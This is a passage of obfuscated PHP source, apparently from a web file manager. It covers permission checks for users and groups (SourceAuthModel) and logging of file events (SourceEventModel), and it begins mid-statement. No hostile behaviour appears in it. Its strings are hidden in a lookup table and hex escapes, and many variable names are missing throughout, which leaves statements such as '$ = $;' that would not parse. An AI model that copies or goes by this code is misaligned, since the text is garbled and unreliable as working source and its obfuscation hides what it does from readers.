$ĥԵ, $ݣ, $ߘ)); if (IO::exist($ښ)) { IO::rename($ښ, get_path_this($ߘ)); } $ = $ߘ; } $ = $; return array($[216] => $, $[1240] => $ĥԵ, $[1242] => $ꇜ); } private static function unzipErrorCheck($՚ċ, $ҹ = false) { $˪ =& $_SERVER[砐]; if ($՚ċ[$˪[1263]]) { return !0; } write_log(array($˪[1264], $՚ċ, $ҹ), $˪[1265]); show_json($˪[1266] . json_encode($՚ċ[$˪[1253]]), !1); die; } } goto bّ; d: class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\137\163\x6f\165\x72\x63\x65\137\x61\165\x74\150"; public function getAuth($) { $ =& $_SERVER[砐]; $ = $this->sourceAuthSelect($); $ = array(); $͸ = array(); $ݭ = 2 << 25; foreach ($ as $Ȱ) { $ = Model($[542])->listData($Ȱ[$[2008]]); if (!$) { continue; } $[] = $Ȱ; $ɨ = 0; if ($Ȱ[$[180]] == SourceModel::TYPE_GROUP) { $ɨ = $ݭ * 2; } if ($Ȱ[$[180]] == SourceModel::TYPE_USER) { $ɨ = $ݭ; } if ($Ȱ[$[180]] == SourceModel::TYPE_USER && $Ȱ[$[540]] == $[214]) { $ɨ = 0; } $͸[] = $[$[457]] + $ɨ; } array_multisort($͸, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $ݙ =& $_SERVER[砐]; static $ = array(); $ޜ = is_array($) ? !1 : !0; if ($ޜ) { $ = array($); } $ = array(); foreach ($ as $ܵ) { if (isset($[$ܵ])) { $[$ܵ] = $[$ܵ]; } } if (count($) == count($)) { return $ޜ ? $[$[0]] : $; } $ = $ݙ[2085]; $౬ѵ = array($ݙ[183] => array($ݙ[7], $)); $ε = $this->field($)->order($ݙ[445])->where($౬ѵ)->select(); $ = array_to_keyvalue_group($ε, $ݙ[183]); foreach ($ as $ܵ) { $[$ܵ] = $[$ܵ] ? $[$ܵ] : array(); } if ($ޜ) { return $ε; } return $; } public function setAuth($֑И, $޿) { $ =& $_SERVER[砐]; $г = Model($[1384])->sourceInfo($֑И); if (!$г) { return !1; } if ($г[$[180]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ﰉ = $г[$[540]]; if ($ﰉ != $) { $˨ً = array($[1904] => $ﰉ); $Ĕ = Model($[1994])->field($[1705])->where($˨ً)->select(); $Ĕ = array_to_keyvalue($Ĕ, $[12], $[1705]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ʶ = array(); foreach ($޿ as $г) { if (!in_array($г[$[180]], $)) { show_json(LNG($[2086]), !1); } if ($ﰉ != $) { if ($г[$[180]] == SourceModel::TYPE_GROUP) { } if ($г[$[540]] != 0 && !in_array($г[$[540]], $Ĕ)) { } } if ($г[$[540]] == 0) { $г[$[180]] = SourceModel::TYPE_USER; } $ʶ[] = array($[183] => $֑И, $[180] => intval($г[$[180]]), $[540] => intval($г[$[540]]), $[2008] => intval($г[$[2008]]) ? intval($г[$[2008]]) : 0, $[2068] => intval($г[$[2068]]) ? intval($г[$[2068]]) : -1); } $this->where(array($[461] => $֑И))->delete(); $this->addAll($ʶ); return !0; } public function authClear($) { $˚ =& $_SERVER[砐]; $ц = Model($˚[1384])->sourceInfo($); $ = array($); if ($ц[$˚[455]] == $˚[90]) { $ = array($˚[622] => array($˚[582], $ц[$˚[555]] . $ . $˚[583])); $ = Model($˚[1384])->field($˚[461])->where($)->getField($˚[183], !0); $[] = $; } $this->where(array($˚[461] => array($˚[462], $)))->delete(); return !0; } public function getAllChildren($ԗ) { $ާ =& $_SERVER[砐]; $𴽴 = Model($ާ[1384])->sourceInfo($ԗ); if ($𴽴[$ާ[455]] != $ާ[90]) { return $this->sourceListAuth(array($ԗ)); } if ($𴽴[$ާ[180]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $Ӟ = array($ԗ); if ($𴽴[$ާ[182]] == $ާ[214] && $𴽴[$ާ[540]] != $) { $Ӟ = $this->groupChidldAllRootSource($𴽴[$ާ[540]]); } $¸ߘ = $this->field($ާ[183])->group($ާ[183])->select(); $¸ߘ = array_to_keyvalue($¸ߘ, $ާ[12], $ާ[183]); if (!$¸ߘ) { return array(); } $ = $ާ[2087]; $ = array($ާ[183] => array($ާ[7], $¸ߘ), $ާ[475] => $ާ[214]); $ = Model($ާ[870])->field($)->where($)->select(); $ = array($ԗ); foreach ($ as $) { foreach ($Ӟ as $) { $؟ = $ާ[50] . $ . $ާ[50]; $ = $[$ާ[555]] . $[$ާ[183]] . $ާ[50]; if (strstr($, $؟)) { $[] = $[$ާ[183]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($Բ) { $ =& $_SERVER[砐]; $ = Model($[1384])->sourceListInfo($Բ, !0); $񏈠 = $this->sourceAuthSelect($Բ); $Ӹ = array(); $ɂ = array(); foreach ($ as $ɛ) { unset($ɛ[$[499]]); unset($ɛ[$[497]]); unset($ɛ[$[457]]); unset($ɛ[$[89]]); $ = $񏈠[$ɛ[$[183]]]; if (!$) { continue; } $ɛ[$[2088]] = $this->authTargetInfo($); $ɛ[$[553]] = rtrim($ɛ[$[559]], $[8]) . $[8] . ltrim($ɛ[$[553]], $[8]); $Ӹ[] = $ɛ; $ڶ = count(explode($[8], trim($ɛ[$[553]], $[8]))); $ɂ[] = $ڶ + ($ɛ[$[33]] == $[77] ? 0 : 1000); } array_multisort($ɂ, SORT_ASC, $Ӹ); return $Ӹ; } private function groupChidldAllRootSource($) { $ީԅ =& $_SERVER[砐]; $Ï = Model($ީԅ[2089])->groupChildrenAll($); $ݔ = array($ީԅ[182] => 0, $ީԅ[540] => array($ީԅ[7], $Ï), $ީԅ[180] => SourceModel::TYPE_GROUP); $ŹЇ = Model($ީԅ[870])->field($ީԅ[183])->where($ݔ)->select(); $ŹЇ = array_to_keyvalue($ŹЇ, $ީԅ[12], $ީԅ[183]); return $ŹЇ; } private function authTargetInfo($΢) { $ =& $_SERVER[砐]; $䖏 = array(); $ = array(); $ = 2 << 25; foreach ($΢ as $) { $ = Model($[542])->listData($[$[2008]]); if (!$) { continue; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = Model($[548])->getInfoSimpleOuter($[$[540]]); if ($[$[1705]] == $[1239]) { continue; } if ($[$[1705]] == $[214]) { $[$[32]] = LNG($[2090]); } } else { $ = Model($[556])->getInfoSimple($[$[540]]); } if (!$) { continue; } $[$[510]] = $; $䖏[] = $; $ = 0; if ($[$[180]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[180]] == SourceModel::TYPE_USER && $[$[540]] == $[214]) { $ = 0; } $[] = $[$[457]] + $; } array_multisort($, SORT_DESC, $䖏); return $䖏; } public function getAllChildrenByUser($ҩ, $񐚖) { $ =& $_SERVER[砐]; $ǿɼ = Model($[569])->getInfo($񐚖); if (!$񐚖 || !$ҩ || !$ǿɼ) { return array(); } $ = Model($[1384])->sourceInfo($ҩ); $ = array(); $׾ = 1; if ($[$[182]] == $[214] && $[$[540]] != $׾ && $this->groupContainUser($[$[540]], $񐚖)) { foreach ($ǿɼ[$[2091]] as $) { $ۡ͡ = Model($[556])->getInfo($[$[1904]]); $ׇ = Model($[569])->getInfoSimpleOuter($񐚖); $ׇ[$[510]] = $[$[457]]; if (Model($[542])->authCheckAction($[$[457]][$[457]], $[1925])) { continue; } $֒ = array($[32] => $[1259] . $ۡ͡[$[32]], $[183] => $ۡ͡[$[89]][$[183]], $[86] => KodIO::make($ۡ͡[$[89]][$[183]]), $[182] => $[214], $[180] => $[549], $[33] => $[586], $[553] => $ۡ͡[$[560]], $[1904] => $ۡ͡[$[1904]], $[557] => $ۡ͡[$[182]], $[2088] => array($ׇ)); $[$֒[$[183]]] = $֒; } } $ = array(); $鹱 = $this->getAllChildren($ҩ); foreach ($鹱 as $Ҍ) { $ƾ = !1; foreach ($Ҍ[$[2088]] as $) { if ($[$[1705]]) { if ($[$[1705]] == $񐚖) { $ƾ = !0; break; } } if ($[$[1904]]) { if ($this->groupContainUser($[$[1904]], $񐚖)) { $ƾ = !0; break; } } } if ($ƾ) { $[] = $Ҍ; } $φ = $Ҍ[$[183]]; if (isset($[$φ])) { $Ҍ[$[2088]][] = $[$φ][0]; $[$φ] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($έ, $, $) { $塁 =& $_SERVER[砐]; $ߎ = $this->getAllChildrenByUser($έ, $); if (!$ || !$ߎ) { return !1; } foreach ($ߎ as $) { $ = array(); foreach ($[$塁[2088]] as $ד) { $ = $ד[$塁[510]]; $條 = $ד[$塁[1705]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ד[$塁[1705]] ? $ד[$塁[1705]] : $ד[$塁[1904]]; if ($ד[$塁[1705]] && $ד[$塁[1705]] == $) { continue; } $[] = array($塁[183] => $[$塁[183]], $塁[180] => $條, $塁[540] => intval($), $塁[2008] => isset($[$塁[445]]) ? intval($[$塁[445]]) : 0, $塁[2068] => isset($[$塁[2068]]) ? intval($[$塁[2068]]) : -1); } $[] = array($塁[183] => $[$塁[183]], $塁[180] => SourceModel::TYPE_USER, $塁[540] => intval($), $塁[2008] => intval($), $塁[2068] => -1); $this->where(array($塁[461] => $[$塁[183]]))->delete(); $this->addAll($); } return !0; } public function get($) { $Ͻ = $this->getSourceList(array($), !0); return $Ͻ[0]; } public function getSourceList($Ȥ, $̛ = false, $ = false) { $Ѻ =& $_SERVER[砐]; if (!$Ȥ) { return array(); } $̤݃ = Model($Ѻ[1384]); if (!$̛ && count($Ȥ) == 1) { $̛ = array(); $̛[$Ȥ[0]] = $̤݃->sourceInfo($Ȥ[0]); } if (!$̛) { $ = array($Ѻ[461] => array($Ѻ[462], $Ȥ)); $̛ = $̤݃->field($Ѻ[2092])->where($)->select(); $̛ = array_to_keyvalue($̛, $Ѻ[183]); } $ = $Ȥ; foreach ($̛ as $ՙ => $) { $厤 = $̤݃->parentLevelArray($[$Ѻ[555]]); $ = array_merge($, array($ՙ), array_reverse($厤)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ݣ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $آ) { if (isset($ݣ[$آ])) { $[$آ] = $ݣ[$آ]; } } $ = $this->userIsRoot($); $ѥ = AuthModel::authAll(); $ޖ = array($Ѻ[458] => $ѥ, $Ѻ[2093] => array($Ѻ[463] => 0, $Ѻ[1910] => $ѥ, $Ѻ[464] => LNG($Ѻ[2094]), $Ѻ[1927] => $Ѻ[2095])); $ = array(); foreach ($̛ as $آ => $LJ) { if ($ && $GLOBALS[$Ѻ[6]][$Ѻ[1923]]) { $[$آ] = $ޖ; continue; } $[$آ] = $this->makeSourceAuth($LJ, $, $); } return $; } public function authDeepCheck($, $ = false) { $ =& $_SERVER[砐]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($, $[$[2096]])) { return !1; } $Ӳڽ = array(); foreach ($[$[2097]] as $ǥى => $) { if (!in_array($, $)) { continue; } $Ӳڽ[] = $ǥى; } if (!$Ӳڽ) { return !1; } $ = $Ӳڽ ? $Ӳڽ[0] : $; return array($[458] => -1, $[510] => array($[463] => $[1239], $[1910] => $[214], $[464] => LNG($[2098]), $[1927] => $[2099]), $[2100] => LNG($[2101]), $[2102] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($׭ = false) { $ =& $_SERVER[砐]; static $ = array(); $׭ = $׭ ? $׭ : USER_ID; if (isset($[$׭])) { return $[$׭]; } $ = Model($[2103])->listData(); $鐸 = array(); foreach ($ as $ף) { if ($ף[$[457]] == 0 && $ף[$[1926]] == $[90]) { $鐸[] = $ף[$[445]]; } } $籜 = $this->userGroupParents($׭); $ݒ = array($[180] => SourceModel::TYPE_USER, $[540] => $׭); if ($籜) { $ݒ = array(array($[180] => SourceModel::TYPE_USER, $[540] => $׭), array($[180] => SourceModel::TYPE_GROUP, $[540] => array($[462], $籜)), $[1051] => $[2002]); } $ = $this->field($[2104])->where($ݒ)->select(); $ۜ = array(); $ﵭ = array_to_keyvalue_group($, $[183]); foreach ($ﵭ as $ => $) { $䬿 = $this->authArrayCheck($, $׭); if ($䬿[$[458]] > 0) { $ۜ[] = $ . $[12]; } } if ($籜) { $ = Model($[556]); foreach ($籜 as $ڄ) { $Չ£ = $->getInfo($ڄ); if (!$Չ£ || !is_array($Չ£[$[89]])) { continue; } $ۜ[] = $Չ£[$[89]][$[183]]; } } $̑ = array(); $ = $籜; $ = Model($[1384]); $ = Model($[556]); $Ϫ = array(); $ۋ = array(); $ː = array(); $ = array(); if ($ۜ) { $Ŧ = $->where(array($[183] => array($[462], $ۜ)))->select(); foreach ($Ŧ as $݈) { $Δ = $->parentLevelArray($݈[$[555]]); $̑ = array_merge($̑, $Δ); $[] = $݈[$[540]]; $Ϫ[$݈[$[183]]] = $Δ; $ۋ[$݈[$[183]]] = $݈[$[540]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $ڄ) { $Չ£ = $->getInfo($ڄ); $Δ = $->parentLevelArray($Չ£[$[555]]); $ = array_merge($, $Δ); } $ = array_values(array_unique($)); foreach ($ as $ڄ) { $Չ£ = $->getInfo($ڄ); $̑[] = $Չ£[$[89]][$[183]]; $ː[$ڄ] = $Չ£[$[89]][$[183]]; $[$ڄ] = $->parentLevelArray($Չ£[$[555]]); } foreach ($Ϫ as $뼑 => $۩) { $ = $ۋ[$뼑]; if (!$ || !$ː[$]) { continue; } $ʾ = array(); foreach ($[$] as $ڄ) { $ʾ[] = $ː[$ڄ]; } $Ϫ[$뼑] = array_merge($ʾ, $۩); } $̑ = array_values(array_unique($̑)); $ = array($[2096] => $̑, $[2097] => $Ϫ); $[$׭] = $; return $; } private function makeSourceAuth($ݸ, $Ӗء, $ = false) { $ =& $_SERVER[砐]; $ = $[90]; $緫 = $ݸ[$[540]]; $ = $ݸ[$[180]] == SourceModel::TYPE_GROUP; $ɵ = $ ? $this->groupRootAuth($緫, $) : !1; if ($ɵ && Model($[542])->authCheckAction($ɵ[$[457]], $[1925])) { return $this->groupAuthInfo($ɵ, $緫); } $ꕻ = Model($[1384])->parentLevelArray($ݸ[$[555]]); $ꕻ = array_merge(array($ݸ[$[183]]), array_reverse($ꕻ)); $ = !1; foreach ($ꕻ as $޶) { if (!isset($Ӗء[$޶])) { continue; } $Գߤ = $this->authMake($Ӗء[$޶], $); if ($Գߤ[$[510]]) { $ = $Գߤ; break; } } if (!$) { return $; } if (!$ && $ɵ) { $ = $this->groupAuthInfo($ɵ, $緫); } if (!$) { $ć = Model($[556])->getInfo($緫); $ڏ = explode($[50], trim($ć[$[555]], $[50])); $ڏ = array_reverse($ڏ); foreach ($ڏ as $և) { if ($և == $[214] || $և == $) { continue; } $ε = $this->groupRootAuth($և, $); if (!$ε) { continue; } $ = $this->groupAuthInfo($ε, $և); break; } } if (!$ || $[$[458]] <= 0) { $ = $this->authDeepCheck($ݸ[$[183]], $); if ($) { $ = $; } } return $; } private function userIsRoot($ = false) { $ =& $_SERVER[砐]; if (!$ && KodUser::isRoot()) { return !0; } $Ԩם = Model($[569])->getInfo($); $Թ = Model($[2105])->listData($Ԩם[$[2106]]); if ($Թ && $Թ[$[546]][$[2107]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[砐]; $ = Model($[1384]); $ʧ = $->sourceInfo($); if (!$ʧ) { return !1; } $->groupPathDisplay($ʧ); $ԍ = array($ʧ); $ԍ = $->_listAppendPath($ԍ); $ʧ = $ԍ[0]; $ = $ʧ[$[553]]; if (isset($ʧ[$[561]])) { $ޓҠ̪ = explode($[8], trim($ʧ[$[553]], $[8])); array_shift($ޓҠ̪); $ = $ʧ[$[559]] . $[2108] . implode($[8], $ޓҠ̪); } return array($[464] => $ʧ[$[32]], $[86] => KodIO::make($ʧ[$[183]]), $[2109] => $); } private function groupAuthInfo($ʇ, $͊) { $Ӛ =& $_SERVER[砐]; $ᒰ = Model($Ӛ[556])->getInfo($͊); return array($Ӛ[2110] => intval($ʇ[$Ӛ[457]]), $Ӛ[2093] => $ʇ, $Ӛ[2111] => LNG($Ӛ[2112]), $Ӛ[2102] => array($Ӛ[464] => $ᒰ[$Ӛ[32]], $Ӛ[86] => KodIO::make($ᒰ[$Ӛ[89]][$Ӛ[183]]), $Ӛ[2109] => $ᒰ[$Ӛ[560]])); } protected function groupRootAuth($캎֑, $˲ = false) { $챙ҙ =& $_SERVER[砐]; $˲ = $˲ ? $˲ : USER_ID; $ԫ = $˲ . $챙ҙ[2113] . $캎֑; static $ = array(); if (isset($[$ԫ])) { return $[$ԫ]; } $Ͱр = Model($챙ҙ[556])->getInfo($캎֑); $׳ = $this->userGroupList($˲); $ = isset($׳[$캎֑]) ? $׳[$캎֑][$챙ҙ[457]] : !1; if ($ && Model($챙ҙ[542])->authCheckAction($[$챙ҙ[457]], $챙ҙ[1925])) { $[$ԫ] = $; return $; } $ = $this->sourceAuthSelect($Ͱр[$챙ҙ[89]][$챙ҙ[183]]); $値 = $ ? $this->authMake($, $˲) : !1; $޴ = $値 ? $値[$챙ҙ[510]] : !1; $[$ԫ] = $޴ ? $޴ : $; return $[$ԫ]; } public function authOwnerApply($) { $ހ =& $_SERVER[砐]; if (empty($[$ހ[457]]) || isset($[$ހ[2114]]) && $[$ހ[2114]]) { return $; } if (AuthModel::authCheckRoot($[$ހ[457]][$ހ[458]])) { return $; } $Nj = Model($ހ[1384])->parentLevelArray($[$ހ[555]]); $Nj = array_merge(array($[$ހ[183]]), array_reverse($Nj)); $˼ʲ = $this->sourceAuthSelect($Nj); $̈ = array(); $ǯ = array(); foreach ($˼ʲ as $ => $) { $򃫆 = $this->authFolderOwnerUser($); $̈[$] = $򃫆; $ǯ = array_merge($ǯ, $򃫆[$ހ[632]]); if ($򃫆[$ހ[2115]]) { break; } } if (count($ǯ) == 0) { $ǯ = $this->authFolderOwnerGroup($[$ހ[540]]); } $ǯ = array_unique($ǯ); if (AuthModel::authCheckRoot($[$ހ[457]][$ހ[458]])) { $ǯ[] = USER_ID; } $[$ހ[457]][$ހ[2116]] = Model($ހ[548])->userListInfo($ǯ); return $; } private function authFolderOwnerGroup($΅ӄ) { $̊ =& $_SERVER[砐]; $ח = Model($̊[1994])->where(array($̊[1904] => $΅ӄ))->select(); $ = array(); if (!$ח) { return $; } foreach ($ח as $ˤ) { $ = $this->authInfo($ˤ); if (AuthModel::authCheckRoot($[$̊[457]])) { $[] = $ˤ[$̊[1705]]; } } return $; } private function authFolderOwnerUser($) { $ɹ͕ =& $_SERVER[砐]; $ = array(); $ߋ = !1; foreach ($ as $) { $Ѷ = $this->authInfo($); if ($[$ɹ͕[540]] == $ɹ͕[214]) { $ߋ = !0; } if ($[$ɹ͕[180]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($Ѷ[$ɹ͕[457]])) { $[] = $[$ɹ͕[540]]; } } } return array($ɹ͕[632] => $, $ɹ͕[2115] => $ߋ); } public function authMake($⁜, $ψ = false) { $ =& $_SERVER[砐]; $ = $this->authArrayCheck($⁜, $ψ); if ($[$[2117]]) { $[$[2117]] = $this->sourceAuthInfo($[$[2117]]); } return $; } public function authArrayCheck($, $擠 = false) { $ێ =& $_SERVER[砐]; if (!$) { return array($ێ[458] => 0, $ێ[510] => !1); } $擠 = $擠 ? $擠 : USER_ID; $ɷՖ = 0; $ = 0; $Γ = 0; $ = 0; $Ï = 0; $ = 0; $щ = 1000; $ = 0; $˜ = 0; $ = 0; $ॊ܍ = 0; $ʞ = array($ێ[183] => 0); foreach ($ as $ʞ) { $ɗ͆ = $this->authInfo($ʞ); if (!$ɗ͆) { continue; } $š܂ = $ʞ[$ێ[540]]; $ = intval($ɗ͆[$ێ[457]]); if ($ʞ[$ێ[180]] == SourceModel::TYPE_USER && $š܂ == $擠) { $ɷՖ = !0; $Γ = $ɗ͆; $ = $; } else { if ($ʞ[$ێ[180]] == SourceModel::TYPE_GROUP && $this->groupContainUser($š܂, $擠)) { $ = !0; $Ɓ = $this->groupStepToUserGroup($š܂, $擠); if ($Ɓ < $щ) { $щ = $Ɓ; $Ï = $; $ = $ɗ͆; $ = $š܂; } if ($Ɓ == $щ && $ >= $Ï) { $Ï = $; $ = $ɗ͆; $ = $š܂; } } else { if ($š܂ == $ێ[214]) { $˜ = !0; $ॊ܍ = $ɗ͆; $ = $; } } } } if ($ɷՖ) { $ܭ = $; $ɗ͆ = $Γ; $ = LNG($ێ[2118]); } else { if ($) { $ܭ = $Ï; $ɗ͆ = $; $Ƽɏ = Model($ێ[556])->getInfo($); $ = $ێ[165] . $Ƽɏ[$ێ[560]] . $ێ[2119] . LNG($ێ[2120]); } else { if ($˜) { $ܭ = $; $ɗ͆ = $ॊ܍; $ = LNG($ێ[2090]); } else { $ܭ = 0; $ɗ͆ = !1; $ = $ێ[12]; } } } $֝ = array($ێ[2110] => intval($ܭ), $ێ[2093] => $ɗ͆, $ێ[2111] => $, $ێ[2102] => $ʞ[$ێ[183]]); return $֝; } private function groupContainUser($喂, $ = false) { return in_array($喂, $this->userGroupParents($)); } private function groupStepToUserGroup($߼, $ = false) { $ْŌ =& $_SERVER[砐]; $ = $this->userGroupList($); $ = 1000; $Ά = $GLOBALS[$ْŌ[6]][$ْŌ[91]][$ْŌ[2007]] == 1; $䎌 = $Ά ? 3 : 2; foreach ($ as $) { if ($[$ْŌ[1904]] == $߼) { return 0; } $ߐ = explode($ْŌ[50], trim($[$ْŌ[555]], $ْŌ[50])); if ($ߐ[0] == $ْŌ[214] && count($ߐ) > $䎌) { $ = array_reverse(array_slice($ߐ, $䎌)); $ʼn = array_search($߼, $); if ($ʼn !== !1 && $ʼn + 1 <= $) { $ = $ʼn + 1; } } } return $; } private function userGroupList($ᜅ = false) { $ =& $_SERVER[砐]; static $ݕģ = array(); if (isset($ݕģ[$ᜅ])) { return $ݕģ[$ᜅ]; } $ = Model($[569])->getInfo($ᜅ); $ݕģ[$ᜅ] = array_to_keyvalue($[$[2091]], $[1904]); return $ݕģ[$ᜅ]; } public function userGroupParents($) { $ =& $_SERVER[砐]; static $ܑ = array(); $ = $ ? $ : USER_ID; if (isset($ܑ[$])) { return $ܑ[$]; } $Ԍڶ = $this->userGroupList($); $ؚʳ = array(); $ = $GLOBALS[$[6]][$[91]][$[2007]] == 1; $ǵ = $ ? 3 : 2; foreach ($Ԍڶ as $ݳ) { $щҽ = array($ݳ[$[1904]]); $Ɋ = explode($[50], trim($ݳ[$[555]], $[50])); if ($Ɋ[0] == $[214] && count($Ɋ) > $ǵ) { $ = array_slice($Ɋ, $ǵ); $щҽ = array_merge($щҽ, array_reverse($)); } $ؚʳ = array_merge($ؚʳ, $щҽ); } $ܑ[$] = array_unique($ؚʳ); return $ܑ[$]; } public function authTargetInfoMake($˖) { $ص =& $_SERVER[砐]; $ = array(); $ױ = array(); foreach ($˖ as $ѯ) { if ($ѯ[$ص[180]] == SourceModel::TYPE_USER) { $[] = intval($ѯ[$ص[540]]); } else { if ($ѯ[$ص[180]] == SourceModel::TYPE_GROUP) { $ױ[] = intval($ѯ[$ص[540]]); } } } if ($) { $ = Model($ص[548])->userListInfo($); } if ($ױ) { $ = array($ص[1992] => array($ص[462], $ױ)); $ױ = Model($ص[556])->field($ص[2121])->where($)->select(); $ױ = array_to_keyvalue($ױ, $ص[1904]); } return array($ص[2122] => $, $ص[2123] => $ױ); } public function authInfo($) { $ݶ =& $_SERVER[砐]; if ($[$ݶ[2008]]) { $С = Model($ݶ[542])->listData($[$ݶ[2008]]); if (!$С) { return !1; $༪ = Model($ݶ[542])->listData(); $ٗ = array_filter_by_field($༪, $ݶ[457], $ݶ[214]); return $ٗ; } $Ι = array_field_key($С, array($ݶ[445], $ݶ[32], $ݶ[457], $ݶ[1927], $ݶ[1928])); $Ι[$ݶ[2124]] = $; return $Ι; } else { return array($ݶ[463] => 0, $ݶ[1910] => $[$ݶ[2068]], $ݶ[464] => $ݶ[12], $ݶ[1927] => $ݶ[2125]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\x75\x72\143\x65\137\145\166\145\156\x74"; protected $dataAuto = array(array("\x63\x72\x65\141\164\145\x54\x69\x6d\x65", "\x74\151\x6d\x65", "\151\156\163\x65\162\164", "\x66\x75\x6e\x63\x74\151\157\156"), array("\144\x65\163\143", '', "\151\x6e\x73\x65\x72\x74\x2c\x75\x70\x64\x61\164\145\x2c\163\145\x6c\145\143\x74", "\152\163\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $ƺ =& $_SERVER[砐]; if (!$this->eventSave) { return; } $ջ = Model($ƺ[1384])->sourceInfo($); if (!$ջ) { return !1; } if ($this->isCacheEvent($ջ, $)) { return; } if ($ && is_string($)) { $ = array($ƺ[1943] => $); } $񟥍 = defined($ƺ[2126]) ? USER_ID : 0; $̾ = array($ƺ[461] => $, $ƺ[2127] => $ջ[$ƺ[182]], $ƺ[2128] => $ջ[$ƺ[32]], $ƺ[553] => !empty($ջ[$ƺ[553]]) ? $ջ[$ƺ[553]] : $ƺ[12], $ƺ[1696] => $񟥍, $ƺ[466] => $, $ƺ[1698] => $); $this->addSystemLog($, $̾); unset($̾[$ƺ[2128]], $̾[$ƺ[553]]); return $this->add($̾); } private function addSystemLog($Ȟ, $) { $Ȭ򋵥 =& $_SERVER[砐]; if ($Ȟ == $Ȭ򋵥[2129]) { $Ȟ = $[$Ȭ򋵥[496]][$Ȭ򋵥[2130]]; } else { if (in_array($Ȟ, array($Ȭ򋵥[1884], $Ȭ򋵥[2131]))) { $Ȟ = $[$Ȭ򋵥[496]][$Ȭ򋵥[799]]; } } $靯 = array_merge($, array($Ȭ򋵥[2132] => $[$Ȭ򋵥[183]], $Ȭ򋵥[2133] => $[$Ȭ򋵥[2133]])); Hook::trigger($Ȭ򋵥[2134], $Ȭ򋵥[2135] . $Ȟ, $); Model($Ȭ򋵥[1848])->addLog($Ȭ򋵥[2135] . $Ȟ, $靯); } private function isCacheEvent($Ǿ΀, $) { if ($Ǿ΀[$_SERVER[砐][180]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($ȓ, $ߓŅ) { $Ϡ =& $_SERVER[砐]; $® = Model($Ϡ[1384])->sourceInfo($ȓ); $ = array($Ϡ[2130] => $ߓŅ, $Ϡ[32] => $®[$Ϡ[32]]); return $this->addEvent($ȓ, $Ϡ[2129], $); } public function eventFileEdit($Ć) { $𰑾 =& $_SERVER[砐]; $ = array($𰑾[2136] => $_SERVER[$𰑾[2137]], $𰑾[2138] => strtolower(ACTION)); if (isset($GLOBALS[$𰑾[7]][$𰑾[2139]])) { $[$𰑾[2139]] = $𰑾[90]; } return $this->addEvent($Ć, $𰑾[1874], $); } public function eventRecycle($Ӎ, $) { return $this->addEvent($Ӎ, $_SERVER[砐][2131], $); } public function eventRemove($) { $ۉ⧽ =& $_SERVER[砐]; $ij = Model($ۉ⧽[1384])->sourceInfo($); $ = $ij[$ۉ⧽[32]]; return $this->addEvent($ij[$ۉ⧽[182]], $ۉ⧽[1873], $); } public function eventShare($뤎, $) { return $this->addEvent($뤎, $_SERVER[砐][1884], $); } public function eventMove($, $, $Ѹ) { $lj =& $_SERVER[砐]; $ = Model($lj[1384]); $̘ = $->sourceInfo($); $ǦИ = $->sourceInfo($); $ = $->sourceInfo($Ѹ); $ = array($lj[1211] => $, $lj[2140] => $ǦИ[$lj[32]], $lj[2117] => !empty($ǦИ[$lj[553]]) ? $ǦИ[$lj[553]] : $lj[12], $lj[1212] => $Ѹ, $lj[2141] => $[$lj[32]], $lj[2142] => !empty($[$lj[553]]) ? $[$lj[553]] : $lj[12]); $this->addEvent($, $lj[590], $); $̘ = $->sourceInfo($); $ = array($lj[183] => $̘[$lj[183]], $lj[32] => $̘[$lj[32]]); $this->addEvent($, $lj[2143], $); } public function eventCopy($) { $this->eventCreate($, $_SERVER[砐][588]); } public function eventRename($Ă, $ⅎ, $) { $ذ =& $_SERVER[砐]; $ = array($ذ[1211] => $ⅎ, $ذ[1212] => $); return $this->addEvent($Ă, $ذ[1398], $); } public function eventAddComment($ц, $) { return $this->addEvent($ц, $_SERVER[砐][2144], $); } public function eventAddDesc($Ȁ, $Ƌ) { return $this->addEvent($Ȁ, $_SERVER[砐][2145], $Ƌ); } public function listBySource($ޡ) { $ =& $_SERVER[砐]; $ꦦڣ = Model($[1384])->sourceInfo($ޡ); $ = array($[461] => $ޡ); if ($ꦦڣ[$[455]] == $[90]) { $Ǡ = Model($[1384])->listSearchChildren($ޡ, 20000); $Ǡ[] = $ޡ . $[424]; $ = array($[183] => array($[7], $Ǡ)); } $ۮ = $this->where($)->order($[2146])->selectPage(); if ($ۮ[$[412]][$[413]] == 0) { $ۮ[$[412]][$[413]] = 1; $ۮ[$[415]] = array(array($[461] => $ޡ, $[2127] => $ꦦڣ[$[182]], $[1696] => $ꦦڣ[$[497]], $[466] => $[2147], $[467] => $ꦦڣ[$[217]], $[1698] => $[12])); } return $this->eventListParse($ۮ, $ޡ); } private function eventListParse($𩴈, $) { $ğ =& $_SERVER[砐]; $ = $𩴈[$ğ[415]]; $ = array_to_keyvalue($, $ğ[12], $ğ[183]); $ڣ = array_to_keyvalue($, $ğ[12], $ğ[2133]); foreach ($ as $ᚻ) { $ = $ᚻ[$ğ[496]]; if ($ᚻ[$ğ[33]] == $ğ[590] && isset($[$ğ[1211]])) { $[] = $[$ğ[1211]] . $ğ[12]; $[] = $[$ğ[1212]] . $ğ[12]; } if ($ᚻ[$ğ[33]] == $ğ[2143] && isset($[$ğ[183]])) { $[] = $[$ğ[183]] . $ğ[12]; } } $ = array_merge($, 